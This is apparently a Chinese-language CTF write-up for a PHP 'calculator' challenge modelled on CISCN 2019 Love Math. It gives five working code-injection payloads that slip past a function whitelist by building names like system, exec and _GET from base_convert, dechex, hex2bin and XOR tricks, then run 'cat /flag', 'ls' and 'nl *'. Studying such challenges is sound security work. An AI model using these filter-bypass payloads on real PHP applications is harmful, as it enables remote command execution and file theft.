SimpleCalculator
没有图片,是个计算的页面
允许四则运算、丰富的PHP函数
SQL注入、XSS、LFI、模板注入都试过了,那只能是RCE(本地代码执行)了,没有思路,后面看writeup才发现大家都有exp,就我没有~
1 | search=$cos=(is_nan^(6).(4)).(tan^(1).(5));$cos=$$cos;$cos{0}($cos{1})&0=system&1=ls |
其实这题的原型是CISCN 2019的Love Math
1 | 1 |
过滤掉黑名单里的值,然后只允许白名单的函数和数字
第一种方法:getallheaders()
环境:PHP 7.3 看wp说这种方法仅适用于linux +php7.3以上
getallheaders — 获取全部 HTTP 请求头信息
成功返回所有头信息数组,失败返回False
5.5.7 此函数可用于 CLI server。
5.4.0 此函数可用于 FastCGI。 此前仅在PHP以 Apache 模块方式运行时支持。
首先调用base_convert函数,将十进制转为其他进制让长度缩减
base_convert(number,frombase,tobase)函数在任意进制之间转换数字。
number 必需 原始值
frombase 必需,数字原来的进制
tobase 必需 要转换的进制
利用getallheader()来控制请求头,
$pi(696468,10,36)——>exec
$pi(8768397090111664438,10,30) ——>getallheaders
让第一个返回的元素为cat flag
1:cat /flag
payload:
$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){1})
//exec(getallheaders(){1}) 虽然过滤了[]但是可以使用{}来读取
第二种方法getflag
//exec(‘hex2bin(dechex(109270211257898))’) => exec(‘cat f*‘)
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
//system(‘cat’.dechex(16)^asinh^pi) => system(‘cat *‘)
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
dechex() 函数把十进制转换为十六进制。
hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
第三种方法
1 | search=$cos=(is_nan^(6).(4)).(tan^(1).(5));$cos=$$cos;$cos{0}($cos{1})&0=system&1=ls |
第四种:读取当前目录下所有文件
dechex() 函数把十进制转换为十六进制。
hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
base_convert(1751504350,10,36) ——–>system
$pi(1438255411,14,34) ——>hex2bin
dechex(1852579882) —–>将十进制转为十六进制:6e6c202a(字符串形式是:nl *)
payload
($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(1852579882)))
nl命令用于读入指定文件,nl * 是读入当前目录所有文件
方法五(推荐)
传入?c=$_GET[a]&a=system(‘ls’)即可执行命令
假设payload是
?c=($_GET){0}($_GET){1};&0=system&1=cat /flag
但是过滤了_GET
因此需要构造出来,这里应该首先考虑进制转换函数,因为10进制以上的数都有英文字母作为数码。而假如是36进制数的话,将会拥有1~10加上26个英文字母作为数码,这足以我们拼凑出payload。
倒推方法如下:
1 | _GET->bin2hex('_GET')->5f474554 |
所以
1 | $pi=base_convert(37907361743,10,36)(dechex(1598506324)); |
因此最后payload是
1 | /?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20/flag |